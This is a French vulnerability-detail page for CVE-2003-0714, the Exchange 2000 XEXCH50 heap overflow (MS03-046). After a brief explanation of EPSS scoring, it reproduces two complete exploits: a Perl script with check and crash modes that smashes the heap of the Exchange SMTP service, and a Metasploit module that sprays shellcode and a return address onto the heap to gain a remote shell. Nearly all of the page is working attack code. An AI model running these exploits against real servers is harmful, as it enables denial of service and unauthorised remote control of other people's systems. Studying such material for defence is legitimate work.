CVE-2003-0714 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl -w ################## ## # ms03-046.pl - hdm metasploit com # This vulnerability allows a remote unauthenticated user to overwrite big chunks # of the heap used by the inetinfo.exe process. Reliably exploiting this bug is # non-trivial; even though the entire buffer is binary safe (even nulls) and can be # just about any size, the actual code that crashes varies widely with each request. # During the analysis process, numerous combinations of request size, concurrent # requests, pre-allocations, and alternate trigger routes were examined and not a # single duplicate of location and data offset was discovered. Hopefully the magic # combination of data, size, and setup will be found to allow this bug to be reliably # exploited. # minor bugfix: look for 354 Send binary data use strict; use IO::Socket; my $host = shift() || usage(); my $mode = shift() || "CHECK"; my $port = 25; if (uc($mode) eq "CHECK") { check() } if (uc($mode) eq "CRASH") { crash() } usage(); sub check { my $s = SMTP($host, $port); if (! $s) { print "[*] Error establishing connection to SMTP service.\n"; exit(0); } print $s "XEXCH50 2 2\r\n"; my $res = <$s>; close ($s); # a patched server only allows XEXCH50 after NTLM authentication if ($res !~ /354 Send binary/i) { print "[*] This server has been patched or is not vulnerable.\n"; exit(0); } print "[*] This system is vulnerable: $host:$port\n"; exit(0); } sub crash { my $s = SMTP($host, $port); if (! $s) { print "[*] Error establishing connection to SMTP service.\n"; exit(0); } # the negative value allows us to overwrite random heap bits print $s "XEXCH50 -1 2\r\n"; my $res = <$s>; # a patched server only allows XEXCH50 after NTLM authentication if ($res !~ /354 Send binary/i) { print "[*] This server has been patched or is not vulnerable.\n"; exit(0); } print "[*] Sending massive heap-smashing string...\n"; print $s ("META" x 16384); # sometimes a second connection is required to trigger the crash $s = SMTP($host, $port); exit(0); } sub usage { print STDERR "Usage: $0 <host> [CHECK|CRASH]\n"; exit(0); } sub SMTP { my ($host, $port) = @_; my $s = IO::Socket::INET->new ( PeerAddr => $host, PeerPort => $port, Proto => "tcp" ) || return(undef); my $r = <$s>; return undef if !$r; if ($r !~ /Microsoft/) { chomp($r); print STDERR "[*] This does not look like an exchange server: $r\n"; return(undef); } print $s "HELO X\r\n"; $r = <$s>; return undef if !$r; print $s "MAIL FROM: DoS\r\n"; $r = <$s>; return undef if !$r; print $s "RCPT TO: Administrator\r\n"; $r = <$s>; return undef if !$r; return($s); } # milw0rm.com [2003-10-22]

## # $Id: ms03_046_exchange2000_xexch50.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow', 'Description' => %q{ This is an exploit for the Exchange 2000 heap overflow. Due to the nature of the vulnerability, this exploit is not very reliable. This module has been tested against Exchange 2000 SP0 and SP3 running a Windows 2000 system patched to SP4. It normally takes between one and 100 connection attempts to successfully obtain a shell. This exploit is *very* unreliable. }, 'Author' => [ 'hdm', # original module 'patrick', # msf3 port :) ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2003-0714' ], [ 'BID', '8838' ], [ 'OSVDB', '2674' ], [ 'MSB', 'MS03-046' ], [ 'URL', 'http://www.milw0rm.com/exploits/113' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Platform' => 'win', 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x20:=+\x22", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 15 2003')) register_options( [ Opt::RPORT(25), OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']), OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']), OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]), ]) end def check connect banner = sock.get_once if (banner !~ /Microsoft/) print_status("Target does not appear to be an Exchange server.") return Exploit::CheckCode::Safe end sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n") res = sock.get_once if (res !~ /XEXCH50/) print_status("Target does not appear to be an Exchange server.") return Exploit::CheckCode::Safe end sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n") res = sock.get_once if (res =~ /Sender OK/) sock.put("RCPT TO: #{datastore['MAILTO']}\r\n") res = sock.get_once if (res =~ /250/) sock.put("XEXCH50 2 2\r\n") res = sock.get_once if (res !~ /Send binary data/) print_error("Target has been patched!") return Exploit::CheckCode::Detected else return Exploit::CheckCode::Appears end end end disconnect end def smtp_setup(count) print_status("Exploit attempt ##{count}") connect select(nil,nil,nil,1) banner = sock.get_once print_status("Connected to SMTP server: #{banner.to_s}") if (banner !~ /Microsoft/) print_status("Target does not appear to be running Exchange.") return end select(nil,nil,nil,5) sock.put("EHLO X\r\n") select(nil,nil,nil,7) res = sock.get_once if (res !~ /XEXCH50/) print_status("Target is not running Exchange.") return end sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n") select(nil,nil,nil,3) sock.put("RCPT TO: #{datastore['MAILTO']}\r\n") select(nil,nil,nil,3) end def exploit bufflen = target['BuffLen'] print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret']) count = 1 # broke begin if (count > datastore['ATTEMPTS']) print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.") return # Stop after a specified number of attempts. end if (session_created?) return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS. end while(true) if (smtp_setup(count)) print_status("Connection 1: ") end sock.put("XEXCH50 2 2\r\n") select(nil,nil,nil,3) res = sock.get(-1,3) print_status("#{res}") if (res !~ /Send binary data/) print_status("Target is not vulnerable.") return # commented out for the moment end sock.put("XX") print_status("ALLOC") size = 1024 * 1024 * 32 sock.put("XEXCH50 #{size} 2\r\n") select(nil,nil,nil,3) sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF" print_status("Uploading shellcode to remote heap.") if (sock.put(sploit)) print_status("\tOK.") end print_status("Connection 2: ") smtp_setup(count) # Connection 2 sock.put("XEXCH50 -1 2\r\n") # Allocate negative value select(nil,nil,nil,2) res = sock.get_once if (!res) print_error("Error - no response") end print_status("OK") bufflen += target['Offset2'] if (bufflen > target['Offset1']) bufflen = target['BuffLen'] end heapover = [target['Ret']].pack('V') * bufflen print_status("Overwriting heap with payload jump (#{bufflen})") sock.put(heapover) print_status("Starting reconnect sequences...") 10.times do |x| print_status("Connect #{x}") connect sock.put("HELO X\r\n") disconnect end end rescue print_status("Unable to connect or Exchange has crashed... Retrying.") count += 1 retry end disconnect end end